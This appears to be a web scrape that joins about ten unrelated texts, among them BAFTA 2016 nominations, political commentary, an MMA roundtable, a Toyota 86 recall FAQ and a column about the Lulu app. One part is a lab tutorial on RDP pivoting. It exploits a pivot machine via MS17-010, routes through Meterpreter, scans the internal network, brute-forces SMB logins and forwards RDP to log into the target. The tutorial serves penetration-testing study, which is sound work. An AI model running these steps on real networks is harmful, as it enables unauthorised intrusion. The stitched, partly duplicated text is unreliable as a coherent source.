Harriet Sergeant and Andy Elvin, CEO of fostering charity TACT, on the Spectator Podcast.The nominations for the EE British Academy Film Awards in 2016 have been announced.
Bridge of Spies and Carol each receive nine nominations. The Revenant is nominated in eight categories. Mad Max: Fury Road has seven nominations. Brooklyn and The Martian are each nominated six times. The Big Short, The Danish Girl and Ex Machina receive five nominations. Star Wars: The Force Awakens receives four nominations.
Bridge of Spies is nominated in the following categories: Best Film, Director for Steven Spielberg, Original Screenplay, Original Music, Cinematography, Editing, Production Design and Sound. Mark Rylance is nominated for Supporting Actor.
Carol is nominated for Best Film, Director for Todd Haynes, Adapted Screenplay, Cinematography, Production Design, Costume Design and Make Up & Hair. Cate Blanchett is nominated for Leading Actress and Rooney Mara is nominated for Supporting Actress.
The Revenant receives nominations for Best Film, Director for Alejandro G. Iñárritu, Original Music, Cinematography, Editing, Make Up & Hair and Sound, whilst Leonardo DiCaprio is nominated for Leading Actor.
Mad Max: Fury Road is nominated in the following categories: Cinematography, Editing, Production Design, Costume Design, Make Up & Hair, Sound and Special Visual Effects.
Brooklyn is nominated for Outstanding British Film, Adapted Screenplay, Costume Design and Make Up & Hair, with two further nominations for Saoirse Ronan in Leading Actress and Julie Walters in Supporting Actress.
The Martian is nominated for Editing, Production Design, Sound, Special Visual Effects and Director for Ridley Scott, with Matt Damon nominated for Leading Actor.
The Big Short receives nominations for Best Film, Director for Adam McKay, Adapted Screenplay and Editing, with Christian Bale nominated for Supporting Actor.
The Danish Girl is nominated for Outstanding British Film, Costume Design and Make Up & Hair, with Leading Actor and Leading Actress nominations for Eddie Redmayne and Alicia Vikander respectively.
Ex Machina is nominated for Outstanding British Film and Special Visual Effects, with nominations for Alex Garland in Original Screenplay and Outstanding Debut by a British Writer, Director or Producer. Alicia Vikander receives a further nomination for Supporting Actress.
Star Wars: The Force Awakens is nominated in Production Design, Sound, Original Music and Special Visual Effects. Ant-Man completes the nominations for Special Visual Effects.
Spotlight completes the Best Film nominees, with two further nominations in Supporting Actor for Mark Ruffalo and Original Screenplay. Also nominated in Supporting Actor is Benicio Del Toro for Sicario, which receives two further nominations for Original Music and Cinematography. Idris Elba completes the nominations in Supporting Actor for Beasts of No Nation.
Michael Fassbender and Kate Winslet are nominated in Leading Actor and Supporting Actress respectively for Steve Jobs, which is also nominated for Adapted Screenplay. The nominations for Leading Actor are completed by Bryan Cranston for Trumbo.
The Hateful Eight is nominated in Original Screenplay, Original Music, and Supporting Actress for Jennifer Jason Leigh. Also nominated in Leading Actress is Brie Larson for Room, which receives a further nomination for Adapted Screenplay. The nominees for Leading Actress are completed by Maggie Smith for The Lady in the Van.
The Animated Film nominees are Minions, Shaun the Sheep Movie and Inside Out, which also receives a nomination for Original Screenplay.
Amy receives nominations for Outstanding British Film and Documentary. Also receiving Documentary nominations are Cartel Land, He Named Me Malala, Listen to Me Marlon and Sherpa.
45 Years and The Lobster are also nominated in the Outstanding British Film category, whilst the nominations for Costume Design are completed by Cinderella.
Theeb is nominated for Film Not in the English Language and Outstanding Debut by a British Writer, Director or Producer for Naji Abu Nowar (Writer/Director) and Rupert Lloyd (Producer). Also nominated for Film Not in the English Language are The Assassin, Force Majeure, Timbuktu and Wild Tales.
Second Coming (Debbie Tucker Green, Writer/Director), The Survivalist (Stephen Fingleton, Writer/Director) and A Syrian Love Story (Sean McAllister, Director/Producer; Elhum Shakerifar, Producer) complete the nominations for Outstanding Debut.
The British Short Animation nominees are Edmond, Manoman and Prologue. The five nominations for British Short Film are Elephant, Mining Poems or Odes, Operator, Over and Samuel-613.
The nominees for the EE Rising Star Award, announced earlier this week, are Bel Powley, Brie Larson, Dakota Johnson, John Boyega and Taron Egerton. This audience award is voted for by the British public and presented to an actress or actor who has demonstrated exceptional talent and promise.
The EE British Academy Film Awards take place on Sunday 14 February at the Royal Opera House, Covent Garden, London. The ceremony will be hosted by Stephen Fry and will be broadcast exclusively on BBC One and BBC One HD, preceded by a red carpet show on BBC Three. The ceremony is also broadcast in all major territories around the world.
Supporting Documents
Visit www.bafta.org/press/film for downloadable supporting documents including the full list of today's nominations. For free photography, BAFTA logos, accreditation and more, visit www.bafta.org/press.
Futher Information
For further information please contact Freuds:
Vicky Grayson | [email protected] | +44 (0) 203 003 6327 / +44 (0) 7872 604 784
Hannah Golanski | [email protected] | +44 (0) 203 003 6623 / +44 (0) 7912 515 997
Nominations are correct at the time of going to print. BAFTA reserves the right to make changes to the names listed at any time up until 14 February 2016
8 January 2016
About BAFTA The British Academy of Film and Television Arts is an independent charity that supports, develops and promotes the art forms of the moving image by identifying and rewarding excellence, inspiring practitioners and benefiting the public. In addition to its Awards ceremonies, BAFTA has a year-round programme of learning events and initiatives – featuring workshops, masterclasses, scholarships, lectures and mentoring schemes – in the UK, USA and Asia; it offers unique access to the world’s most inspiring talent and connects with a global audience of all ages and backgrounds. BAFTA relies on income from membership subscriptions, individual donations, trusts, foundations and corporate partnerships to support its ongoing outreach work. To access the best creative minds in film, television and games production, visit www.bafta.org/guru. For more, visit www.bafta.org.Photo credit: Defence Images via photopin cc
The newly elected MP for Kensington is facing calls for an apology after apparently mocking Prince Harry’s service in Afghanistan.
Speaking at the Labour Party Conference, Emma Dent Coad MP told a group of activists that Harry can’t actually fly a helicopter and “just sits there going ‘vroom vroom.'”
Speaking to activists at an anti-monarchy meeting, Ms Dent Coad said that she is ‘The Royal Family’s worst nightmare’ and made claims about Prince Harry, the Duke & Duchess of Cambridge and the Duke of Edinburgh.
At the event, the 62-year-old said that Prince Harry was too incompetent to play a proper role in the Army.
She said: “Harry can’t actually fly a helicopter. He tried to pass the helicopter exam about four times, and he couldn’t get through it at all, so he always goes for the co-pilot.
“So he just sits there going ‘vroom vroom’.”
Prince Harry has served two tours of duty in Afghanistan and passed his Apache flying test. In 2013, the Ministry of Defence announced that the young royal had successfully qualified as an Apache aircraft commander.
Since then, he has gone on to found the Invictus Games – an Olympic style event for servicemen and women who were injured in combat, whether that was a mental or physical injury.
Emma Dent Coad made history when she became the first Labour MP to be elected in Kensington, the UK’s richest constituency. With a slim majority of just 20 votes, she won the Kensington seat after the general elections in June.
The MP has also targeted the Duke and Duchess of Cambridge, saying that it is “absolutely disgusting” that the Duchess bought jumpers at the cost of £150 each, saying: “That’s a food bill for a family of four.”
She called this “absolutely outrageous,” before commenting that the Duke and Duchess of Cambridge are ridiculous.
Ms Dent Coad added that Princes Harry and William are “not very bright”, saying: “Just let them drift away, be playboys or whatever.”
Additional reporting by Laura Dekkers.There appears to be a pretty big gap between what DC journalists think Americans think, and what Americans actually think. No better example of this can be found than the "winners" and "losers" that DC media are proclaiming in the wake of the passage of the stimulus bill, and what DailyKos/Research 2000 polling on the subject indicates.
DC opinion: It's good for the Republicans!
MSNBC's First Read lists among its winners "the Republican Party (which demonstrated unity after its big losses in November), and No.2 House Republican Eric Cantor (who raised his profile during the debate)." Reid gets a win, Pelosi gets a loss.
Chris Cillizza also declares Eric Cantor a victor for maintaining party discipline (although he tags him a loser too for the AFSME ad). Reid gets a "win" here too, and House Democrats are deemed losers, because "it appeared as though this was a Senate-run production."
Fox News unsurprisingly says "Republican lawmakers may turn out to be winners. Most of them voted against the package, and in their largely unified opposition, they found an issue to galvanize the party after two consecutive dispiriting electoral defeats." Reid and Pelosi don't exist.
Liz Sidoti also says the Republicans win: "Adrift after back-to-back electoral losses, they found their voice against a Democratic speaker and an expanded majority. They held to the GOP's cornerstone of fiscal conservatism as they led the effort to define the package as too costly and too quick." Likewise, Jon Boehner: "He strengthened his hold on his job, keeping his rank-and-file united against the House version." Again, Reid gets a win. She gives Pelosi and Mitch McConnell losses.
The Rest of America: "Thanks For the Help"
According to Daily Kos polling, however, the change in public opinion from a poll taken from Feb. 2-5 to the latest one taken from Feb. 9-12 indicates that Pelosi, Reid and the Democratic Party have actually gone up in public approval -- all had a net change of +2 points, while the Congressional Dems scored a +3. Conversely, Republicans went down -- the Republican Party had a net change of -2, while McConnell, Boehner and Congressional Republicans all had a loss of -3.
And if you go back to the beginning of the year and track how the public is viewing the political situation in Washington DC, the changes are even more dramatic:
Pelosi and the Democratic Party are the big winners, scoring a +5. Congressional Dems score a +3, and Reid has actually lost two points.
But contrary to beltway opinion, the Republicans are getting hammered. While the Republican Party has only had a net change of -2, those directly involved in the stimulus battle are taking huge hits: McConnell and Boehner at -11, and the Congressional Republicans who are getting such applause from the beltway denizens score a -10.
As Markos notes:
The supposedly hated "San Francisco Liberal" Nancy Pelosi not only has the only net-positive favorability rating of the bunch, but she has a net favorability advantage of 40 points over her hapless and clueless Republican counterpart. The 18-point gap in the net favorability ratings in the Senate leadership is less dramatic, but still significant. Especially since Democrats are stuck with the ineffective Harry Reid as their leader.
The "Reid wins, Pelosi loses" narrative only seems to stick with people who believe what Joe Lieberman thinks matters.
And what about those cherished "independents" that Davids Brooks and Broder always claim to speak for? Congressional Republicans have only a 15% favorability rating, with a 70% disapproval rating. (You can find the crosstabs here.) I eagerly await columns from both reflecting this irrefutable consensus that by anyone's measure falls well outside the margin of error.
DC lives in an economic bubble and remains largely insulated from the troubles hitting the rest of the country. No matter who is in power, no matter who is on the receiving end of taxpayer largesse, the money finds its way there. Fairfax and Loudoun Counties in VA and Howard County MD (where lobbyists and contractor beneficiaries of the defense/homeland security boon of the past 8 years live) are the top three wealthiest counties in the country, and seven more DC suburbs chart in the top 20.
The people who live in DC, who pretend to speak for the rest of the country, have no direct experience with what is happening there -- and their attempts to handicap DC politics have more to do with the inside baseball games that seek to protect their own interests above all else. The fact that three and a half million Americans will have jobs as a result of the passage of this bill, or that people who are unemployed or living on food stamps will continue to be able to eat, doesn't seem to graze their analyses.
The American public looked at DC, they saw the Democrats trying to do something, and they liked what they saw. People who are deeply worried about staying employed and taking care of their families do not seem to have the universal high regard for House Republicans who stood together to oppose helping them out that the DC establishment do.All the MMA News • Plus Intelligent, Brilliant, Addictive Points of View!
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ROUNDTABLE: Is Dong Hyun Kim a legitimate future contender in the UFC's welterweight division?
Mar 5, 2014 - 4:05:46 PM ROUNDTABLE: Is Dong Hyun Kim a legitimate future contender in the UFC's welterweight division? DISCUSS ALL THIS IN OUR NEW MMATORCH FORUM...OH, ONE MORE THING - PLEASE BOOKMARK US & VISIT DAILY!
With two straight stoppage wins, Dong Hyun Kim has broken away from his reputation as a grinder, but his new wild style could also be his downfall in the future. Given that, is this new version of Dong Hyun Kim a legitimate contender in the welterweight division? Why or why not?
DAN MOORE, MMATORCH UK COLUMNIST
He's certainly closer than he was twelve-months ago, but he's still not what I would consider elite. John Hathaway is a good test for anyone in the welterweight division, but he didn't have the skills to capitalise on Kim's newly acquired reckless abandon in the stand-up last Saturday.
A higher calibre opponent like Carlos Condit or Johny Hendricks would have probably taken advantage. Don't get me wrong, I'm really enjoying the new style, but it's only going to get him so far up the ladder. A fight with Rory MacDonald or either winner of Saffiedine vs. Ellenberger or Shields vs. Lombard sounds good to me.
If he gets through an opponent like those I've just mentioned he's a legitimate contender. He always had the talent and type of style to win fights but sometimes it takes certain fighter's a while to figure things out, where as for others it just comes naturally.
My only concern about him when he comes up against someone elite is that he reverts back to his old grinding style. It's not easy to look good and land spinning back-fists when a better opponent has the speed and guile to get out of the way and take him down in the blink of an eye.
KALE HAVERVOLD, MMATORCH CONTRIBUTOR
I believe he is the dark horse in the division. This is because although he is gaining a rep as a striker now, he still has his dominating judo and smothering style in his arsenal when things go wrong. I like him to fight somebody in the top 10, maybe even top five for his next fight.
FRANK HYDEN, MMATORCH CONTRIBUTOR
If he fights smart, then I think he's a legit contender. When people criticize guys for not going for finishes or playing it safe, we're not advocating taking big chances or risks. It's about pushing forward and trying to win instead of trying to simply not lose. If Kim does that, if he tries to win, he's an absolute contender. He's just got to combine all of his skills and formulate good game plans. I think he can do it, but as he rises in competition he'll have to be smart about where he takes chances.
BRAD WALKER, MMATORCH COLUMNIST
Welterweight is a division full of wrestlers who will grind you out; on the other hand, it also has some very heavy handed strikers. If Kim feels his new buckwild style can fit in against both of those pedigrees than work it until it breaks. Guys like Robbie Lawler and Johnny Hendricks would probably give him a ton of trouble, as would Jake Shields or Hector Lombard, but if he plans accordingly and counter wrestles he could make a run at this point.
CASH NORMAN, MMATORCH CONTRIBUTOR
If you're an exciting finisher within the UFC you always have a chance to be a contender. Do I think that Dong Hyun Kim will be fighting for the belt anytime in the near future? No. While his new fighting style is fan friendly for those who like sloppy brawling, he leaves himself open for countershots and a skilled technical fighter will pick him apart. However, if Kim can make a transition from brawling to a more polished striker he could be dangerous. The hands down and chin out style he has employed lately is a recipe for disaster. He's certainly closer than he was twelve-months ago, but he's still not what I would consider elite. John Hathaway is a good test for anyone in the welterweight division, but he didn't have the skills to capitalise on Kim's newly acquired reckless abandon in the stand-up last Saturday.A higher calibre opponent like Carlos Condit or Johny Hendricks would have probably taken advantage. Don't get me wrong, I'm really enjoying the new style, but it's only going to get him so far up the ladder. A fight with Rory MacDonald or either winner of Saffiedine vs. Ellenberger or Shields vs. Lombard sounds good to me.If he gets through an opponent like those I've just mentioned he's a legitimate contender. He always had the talent and type of style to win fights but sometimes it takes certain fighter's a while to figure things out, where as for others it just comes naturally.My only concern about him when he comes up against someone elite is that he reverts back to his old grinding style. It's not easy to look good and land spinning back-fists when a better opponent has the speed and guile to get out of the way and take him down in the blink of an eye.I believe he is the dark horse in the division. This is because although he is gaining a rep as a striker now, he still has his dominating judo and smothering style in his arsenal when things go wrong. I like him to fight somebody in the top 10, maybe even top five for his next fight.If he fights smart, then I think he's a legit contender. When people criticize guys for not going for finishes or playing it safe, we're not advocating taking big chances or risks. It's about pushing forward and trying to win instead of trying to simply not lose. If Kim does that, if he tries to win, he's an absolute contender. He's just got to combine all of his skills and formulate good game plans. I think he can do it, but as he rises in competition he'll have to be smart about where he takes chances.Welterweight is a division full of wrestlers who will grind you out; on the other hand, it also has some very heavy handed strikers. If Kim feels his new buckwild style can fit in against both of those pedigrees than work it until it breaks. Guys like Robbie Lawler and Johnny Hendricks would probably give him a ton of trouble, as would Jake Shields or Hector Lombard, but if he plans accordingly and counter wrestles he could make a run at this point.If you're an exciting finisher within the UFC you always have a chance to be a contender. Do I think that Dong Hyun Kim will be fighting for the belt anytime in the near future? No. While his new fighting style is fan friendly for those who like sloppy brawling, he leaves himself open for countershots and a skilled technical fighter will pick him apart. However, if Kim can make a transition from brawling to a more polished striker he could be dangerous. The hands down and chin out style he has employed lately is a recipe for disaster.
DON'T GO YET... WE SUGGEST THESE MMATORCH ARTICLES, TOO! Please enable JavaScript to view the comments powered by Disqus. comments powered by Disqus HERE ARE EVEN MORE ARTICLES THAT MIGHT INTEREST YOUIn our previous tutorial we had discussed on SSH pivoting and today we are going to discuss RDP pivoting.
From Offensive Security
Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit that system which belongs to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.
Lab Setup requirement:
Attacker machine: Kali Linux
Pivot Machine (server): window operating system with two network interface
Target Machine (client): window 7 (Allow RDP service)
Use exploit MS17-010 or multi handler to hack the pivot machine and bypass its UAC to achieve admin privileges.
sessions 1 sessions
Hence if you will count then currently attacker has hold 2 sessions, 1st for meterpreter shell and 2nd for bypass UAC of the server.
Check the network interface through the following command:
meterpreter> ifconfig 1 meterpreter > ifconfig
From the given image you can observe two networks interface in the victim’s system 1st for IP 192.168.0.27 through which the attacker is connected and 2nd for IP 192.168.100.100 through which clients (targets) are connected.
Since the attacker belongs to 192.168.0.1 interface and client belongs to 192.168.100.0 interface, therefore, it is not possible to directly make an attack on client network until unless the attacker acquires the same network connection. In order to achieve 192.168.100.0 network attacker need to run the post exploitation “autoroute”.
This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. The default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.
msf > use post/multi/manage/autoroute msf post(autoroute) > set session 2 msf post(autoroute) > exploit 1 2 3 msf > use post / multi / manage / autoroute msf post ( autoroute ) > set session 2 msf post ( autoroute ) > exploit
Note: If you had not to bypass UAC you can use session 1 for post exploit.
This Module will perform an ARP scan for a given IP range through a Meterpreter Session.
use post/windows/gather/arp_scanner msf post(arp_scanner) > set rhosts 192.168.100.100-110 msf post(arp_scanner) > set session 2 msf post(arp_scanner) > set threads 20 msf post(arp_scanner) > exploit 1 2 3 4 5 use post / windows / gather / arp_scanner msf post ( arp_scanner ) > set rhosts 192.168.100.100 - 110 msf post ( arp_scanner ) > set session 2 msf post ( arp_scanner ) > set threads 20 msf post ( arp_scanner ) > exploit
Here we found a new IP 192.168.100.103 as shown in the given image. Let’s perform TCP port scan for activated services on this machine.
This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set ports 445,3389 msf auxiliary(tcp) > set rhosts 192.168.100.103 msf auxiliary(tcp) > set threads 10 msf auxiliary(tcp) >exploit 1 2 3 4 5 use auxiliary / scanner / portscan / tcp msf auxiliary ( tcp ) > set ports 445, 3389 msf auxiliary ( tcp ) > set rhosts 192.168.100.103 msf auxiliary ( tcp ) > set threads 10 msf auxiliary ( tcp ) > exploit
From given you can observe port 3389 and port 445 are open and we know that 3389 is used for RDP and 445 is used for SMB.
This module will test an SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
use auxiliary/scanner/smb/smb_login msf exploit (smb_login)>set rhosts 192.168.100.103 msf exploit (smb_login)>set user_file /root/Desktop/user.txt msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt msf exploit (smb_login)>set stop_on_success true msf exploit (smb_login)>exploit 1 2 3 4 5 6 use auxiliary / scanner / smb / smb_login msf exploit ( smb_login ) > set rhosts 192.168.100.103 msf exploit ( smb_login ) > set user_file / root / Desktop / user. txt msf exploit ( smb_login ) > set pass_file / root / Desktop / pass. txt msf exploit ( smb_login ) > set stop_on_success true msf exploit ( smb_login ) > exploit
From the given image you can observe the highlights pentest: 123 has success login.
Now Type the following command for port forwarding on localhost.
meterpreter> portfwd add –l 3389 –p 3389 –r 192.168.100.103 1 meterpreter > portfwd add – l 3389 – p 3389 – r 192.168.100.103
-l: This is a local port to listen on.
-p: The remote port to connect on.
-r: The remote host address to connect on.
Now type the following command to connect RDP client on localhost through port 3389
rdesktop 127.0.0.1:3389 1 rdesktop 127.0.0.1 : 3389
Now it will ask to enter the credential for connecting with RDP client; Enter the combination of username and password you have retrieved from SMB login Exploit.
If you remembered we have retrieved pentest: 123 through smb login exploit which we are using for login.
Wonderful!! We had successfully exploited the RDP client.
Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact hereToyota Australia has today announced that it will recall almost 15,000 Toyota 86 vehicles built between April 2012 and March 2015 due to a potential loss of power steering assist.The recall impacts right-hand drive vehicles that are equipped with driver's knee airbags.Due to an improper wire harness layout, there is a possibility that the electric power steering harness may interfere with the instrumental panel lower cover which contains the driver's knee airbag on Australian specification vehicles.If this happens, there could be an electrical contact failure which may result in the loss of power steering assist. A warning light would then illuminate on the dashboard along with a short audible warning whilst manual steering would be maintained.To rectify this condition, the power steering electronic control unit and wire harness will be replaced in all impacted vehicles.Toyota Australia expects that parts will arrive at dealerships from late next month. A letter will then be sent by registered mail to all impacted owners to request that they make an appointment at their preferred Toyota dealer.The repair work will take just over an hour and will be carried out free of charge.There have been 62 reports in Australia with no accidents or injuries reported as a result of this condition.For further information, customers can visit www.toyota.com.au/news for a list of Q&As or contact the Toyota recall campaign helpline on 1800 987 366.A1: The subject vehicles are equipped with electric power steering (EPS).During normal driving operation, the EPS rotation angle sensor terminals may wear over time. This wear of the connector terminal plating accumulates debris which may oxidise and become non-conductive.Under this condition if the driver's knee contacts the knee airbag lower cover, the EPS wire harness routed behind the cover also moves significantly which allows the terminal to contact the debris resulting in electrical contact failure.In this condition, the EPS ECU turns on the warning light and the steering assist is interrupted whilst manual steering is maintained.The loss of power steering assist will increase the steering effort at low speeds which may increase the risk of an accident.A2: The electric power steering system generates torque to assist steering effort through operation of the motor and reduction gear installed on the steering column shaft.The power steering electronic control unit (ECU) determines direction and the amount of assistance required in accordance with vehicle speed and signals from sensors built into the steering column assembly.A3: There are 14,906 Toyota 86 vehicles involved in the Australian market.Please refer to below VIN table for production period details.
Note: Although the involved vehicles are within the above VIN ranges, not all vehicles in these VIN ranges were sold in the Australian market.
Q4: Are there any warnings that this condition has occurred?
A4: There is no advance warnings prior to the occurrence of this condition. However, if the condition has occurred the vehicle illuminates the EPS warning light in the instrument cluster (see below image) along with a short audible warning.
Q5: What should a vehicle owner do if this condition occurs?
A5: If the driver notices heavy steering or illumination of the EPS warning light in the instrument cluster, they should stop driving their vehicle and contact their nearest Toyota dealer for diagnosis and repair.
If the condition is related to this campaign, the appropriate repair will be performed free of charge to the vehicle owner.
Q6: What is Toyota going to do?
A6: Toyota is currently preparing the necessary parts to remedy this condition. Once preparations are complete, Toyota will notify owners by mail at their last known address to make an appointment at any Toyota dealer to rectify their vehicle.
Toyota dealers will perform required rectification FREE OF CHARGE to the vehicle owner.
Q7: What does the remedy involve?
A7: For all involved vehicles, Toyota dealers will replace the power steering ECU and EPS wire harness.
Q8: How long will the repair take?
A8: This repair will take just over one hour. Depending upon the dealer's work schedule, it may be necessary to make your vehicle available for a longer period of time.
Q9: Can vehicle owners continue to drive their vehicle?
A9: Yes, this condition only impacts the power steering assistance; manual steering control is maintained.
Q10: What should an owner do?
A10: Owners should contact their preferred Toyota dealer to arrange vehicle rectification at their earliest convenience.
Q11: Does this condition affect other Toyota/Lexus models?
A11: This problem occurs only on 86 right hand models equipped with knee airbag.
Q12: Have there been any reports of accidents or injuries?
A12: There have been no reports received of accidents or injuries relating to this condition.
Q13: Are there any other Toyota vehicles involved in this campaign in the Australian market?
A13: No other Toyota models above are involved in this campaign.
Q14: What should I do know?
A14: To ensure that we can contact you, your contact details can be updated by calling the Toyota recall campaign helpline on 1800 987 366. Please quote your 17 digit Vehicle Identification Number (VIN), we will then be able to contact you as soon as parts are available.
Q15: Where can I find my VIN?
A15: The VIN number is located under the right hand front seat, on the manufacturer's label and on the top left of the body panel.If you believe author/activist Naomi Klein, there's a nefarious conservative conspiracy intent on making the world safe for capitalism by exploiting national crises to force political change. Whatever you think of Klein's "Shock Doctrine" thesis, Google CEO Eric Schmidt seems like an unlikely candidate for the cabal. But at a talk in Washington D.C. on Tuesday, the head-honcho of the Search Engine That Walks Like a Verb did see a green lining in the current financial crisis: an opportunity to "stimulate the economy" by launching an ambitious infrastructure program that aims to fundamentally alter the American energy system.
Schmidt spoke at an event sponsored by the New America Foundation. He argued that the green lining in the economic implosion is that it has created demand for a massive domestic stimulus, opening the door to large-scale public works programs of the sort undertaken by Franklin Roosevelt during the Great Depression. Instead of subsidies for the foundering U.S. auto industry, said Schmidt, we have an opportunity to leverage the bailout to "decarbonize our economy."
Clean energy sources like solar and wind power face a "grid problem," according to Schmidt: The optimal areas for renewable power generation aren't hooked up to the areas where the people who need power are. The effort to build out that infrastructure, said the Googler-in-Chief, could be sold as a jobs program for local contractors hard hit by the moribund housing market.
Federal pre-emption could be invoked to cut through the bramble of diverse state regulations and enable deployment of smart grids that manage power more efficiently, Schmidt believes. Citing the ARPANET—funded by the Defense Department, but partially built and then massively expanded by for-profit companies—Schmidt argued for a similar public-private collaboration to build a better power grid.
Schmidt drew several more specific suggestions from Google's Clean Energy 2030 Plan, a $4.4 trillion proposal to drastically reduce American dependence on fossil fuels and foreign oil, which the company projects would return $1 trillion in savings over its lifespan |
a lesser, subspecies of human, possessing below-average abilities in nearly all areas of life unrelated to bench-pressing or competitive eating. Agreed? OK, great.
The outsized recognition given their inferior intelligence has led them to believe, foolishly, that they are in fact the superior sex: more rational, better at explaining things, cleverer, and in possession of inherently correct opinions. It's delightful, somewhat twisted amusement to watch them confronted with a little peek or window into their true position in the world; to cut down a man's ego is like watching a dog try to open a door, or kicking up the dirt of an anthill and watching the ants scurry about, disoriented and scared.
That vague male fear is what made the app Lulu seem fun at first. Men were not allowed to use the app; if they tried to log on (which the app does through Facebook), they'd be coldly denied. Lulu was an app for women, and it allowed them to rate their male Facebook friends based on a variety of personality traits, physical feats, and sex skills, all, ostensibly, in service of warning fellow women about prospective dates' red flags, and cheering on the good guys. Lulu was like writing "For a good time, call …" on the ladies' room wall. It felt like wink-y, good old-fashioned misandry; while not especially effective in righting institutional and cultural wrongs, it let us saddle dudes with weird little negs like "OnlyWearsFratTanks" and cackle about it with each other. It was funny and seemingly lighthearted.
Today, that fun ended. The latest update to the app will now allow men to see an overview of their rating, the number of women who have rated him, and a summary of the hashtags used to describe him. The update may have been intended to improve transparency, but instead it shifts what seemed like harmless, insider fun to more overt cyberbullying.
If there's nearly nothing good in rating each other on a numerical system (and with hashtags), there's even less in being able to see how we're rated. Though, as Maureen O'Connor of The Cut noticed, most ratings tend to be high and rather positive, Lulu ratings must necessarily include some cons: the app forces a female rater to pick at least one from a selection of pre-selected negative hashtags.
Men who log into Lulu and see their rating summary are likely to be presented with a few pieces of confusing and probably misleading information. The overall ranking men see could be artificially inflated (or deflated, for that matter), because there's no way for them to know whether it's comprised of one woman's opinion, or ten. And while women who use the app know the hashtags are picked from a limited, simplistic list, rather than independently written, men likely won't. Women know it's a final step, often a throwaway joke on top of a more honest review, but men might see tags like "#WearsEdHardy," or "NapoleonComplex," or, simply, "Boring" and think these labels were written specifically FOR them. It's not that it wasn't mean before, but now it's meaner.
Lulu's only saving grace, prior to this update, was its exclusivity — its CEO marketed it as an almost educational tool, meant not to hurt men but to protect women. It was always a thin, pat motive; it's hard to believe there were ever women using the app as a genuine resource for vetting a date. But Lulu was, at first, somewhat excusable as a digital version of dishing about guys with friends at a girl's night. It was stupid, but it was at least contained.
Gone from the "male-friendly" version is that private, girl-gossip feel; what remains is merely a lazy and passive way to shame, hurt, or exact revenge on people who can log in and see it. An app that allows you to see what your Facebook friends are anonymously saying about you is not a force for good, or misandry. It's just mean.Buried deep in the recently-published book Anything You can Imagine, Ian Nathan’s new doorstep-sized biography of Peter Jackson and his Tolkien-inspired film trilogies, are two tiny mentions of the projected remake of The Dambusters. The first remark occurs in a description of the director as a ‘military aviation buff’ who possesses a fine collection of antique aircraft and who ‘came close to remaking The Dambusters.’ A footnote explains that in 2008 the remake was to be directed by Christian Rivers from a script by Stephen Fry but that the ‘financing would eventually fall through’. The second mention is some 300 pages later, where Jackson is described as at one point starting to ‘develop a new version of The Dambusters… but it failed to secure funding.’
And that’s it. It is now more than a decade since Jackson acquired the rights to remake Michael Anderson’s 1955 film. At first, he invested significant funds – commissioning a script from Stephen Fry, getting full size models of Lancaster aircraft built in China, and buying several possible props and other artifacts. These included the original wooden bomb sight used by Plt Off John Fort on the Dams Raid. I can now reveal that Jackson was the anonymous bidder who paid more than £40,000 for this when it was sold at auction in January 2015. A member of his staff attended the auction in person, taking instructions over the phone while the sale was going on.
At various times over the last ten years, Jackson has said that the Dambusters project was still going ahead. The last of these statements was issued as recently as the summer of 2016. However these positive thoughts contrast with what would seem to have been recognised as reality inside his camp well before this time.
Nathan’s book is based on many interviews with Jackson and his entourage, and his remarks would not have been published in this form without Jackson’s knowledge, even if not his specific authorisation. What is significant is Nathan’s use of the past tense on both occasions, and we can therefore assume that the Dambusters remake has, to all intents and purposes, now been cancelled.
So this is how it ends. The remake project, which started in 2005 with a big bang and loud fanfares when David Frost bought the film rights from the Brickhill family, ends with the whimper of a couple of sentences in a book about a fantasy film series. A sad day but, to misquote another film set in wartime: ‘we’ll always have Michael Anderson’s original film.’ Maybe that’s how it should be.
[Hat tip to commenter RdS who drew my attention to Ian Nathan’s book.]A coalition of human rights organizations this week launched a campaign to raise awareness about prisoners of conscience in the Arab World and to promote the Internet as a space for open discussion.
The campaign, titled “Hurriyatahum haqahum” (“Their Freedom, Their Right”), is the collaboration of Egypt's Arabic Network for Human Rights Information (ANHRI), the Maharat Foundation in Lebanon, and International Freedom of Expression Exchange (IFEX) network. The campaign hopes to put pressure on governments and promote protection and acceptance for the exercise of public criticism.
Among political prisoners in focus for the campaign are individuals who have been jailed for criticizing authorities online. One is Bahraini human rights defender and President of Bahrain Center for Human Rights Nabeel Rajab, who was arrested for tweeting about Bahraini police authorities. Another is Raif Badawi, the founder of the Saudi Liberals online discussion forum who was sentenced to 1,000 lashes for apostasy. And there is Mauritanian blogger Mohamed Sheikh Ould Mohamed Omkhtir, who was sentenced to death for “insulting Islam” on social media.
ANHRI describes the campaign as follows:
The Arab citizen’s right to expression is a right not a grant, and it is our duty to defend it, whether we agree or disagree with that opinion.
One of the project's chief aims is making sure people don't forget about the region's political prisoners, whose stories provide the material for public outreach:
So they don't fall into a margin of oblivion: A campaign to defend prisoners of conscience in the Arab world
How the campaign works
The project asks willing and able citizens and journalists to share stories about prisoners of conscience on Twitter and Facebook, using the hashtag حريتهم_حقهم# (#TheirFreedomTheirRight). These social media posts should mention a political prisoner's name and the demand that the authorities either release the individual or change the conditions of their incarceration. This can include calls for an end to torture, advocating proper medical care, or providing prisoners with a fair trial. The campaign also highlights a single prisoner of conscience every month, posting photos of that person online in various media.
May's “prisoner of the month” is Mahmoud Mohammed in Egypt, who was jailed for wearing a T-shirt that read “A Nation Without Torture.” In addition to the main hashtag, campaigners tweeted the personalized message الحرية_لمحمود_محمد# (#FreedomToMahmoudMohammed).
On his way home, Mahmoud arrested for wearing “Nation w/t Torture” T-shirt, #حريتهم_حقهم http://t.co/9f1BoJjVDQ — ANHRI (@anhri) May 4, 2015
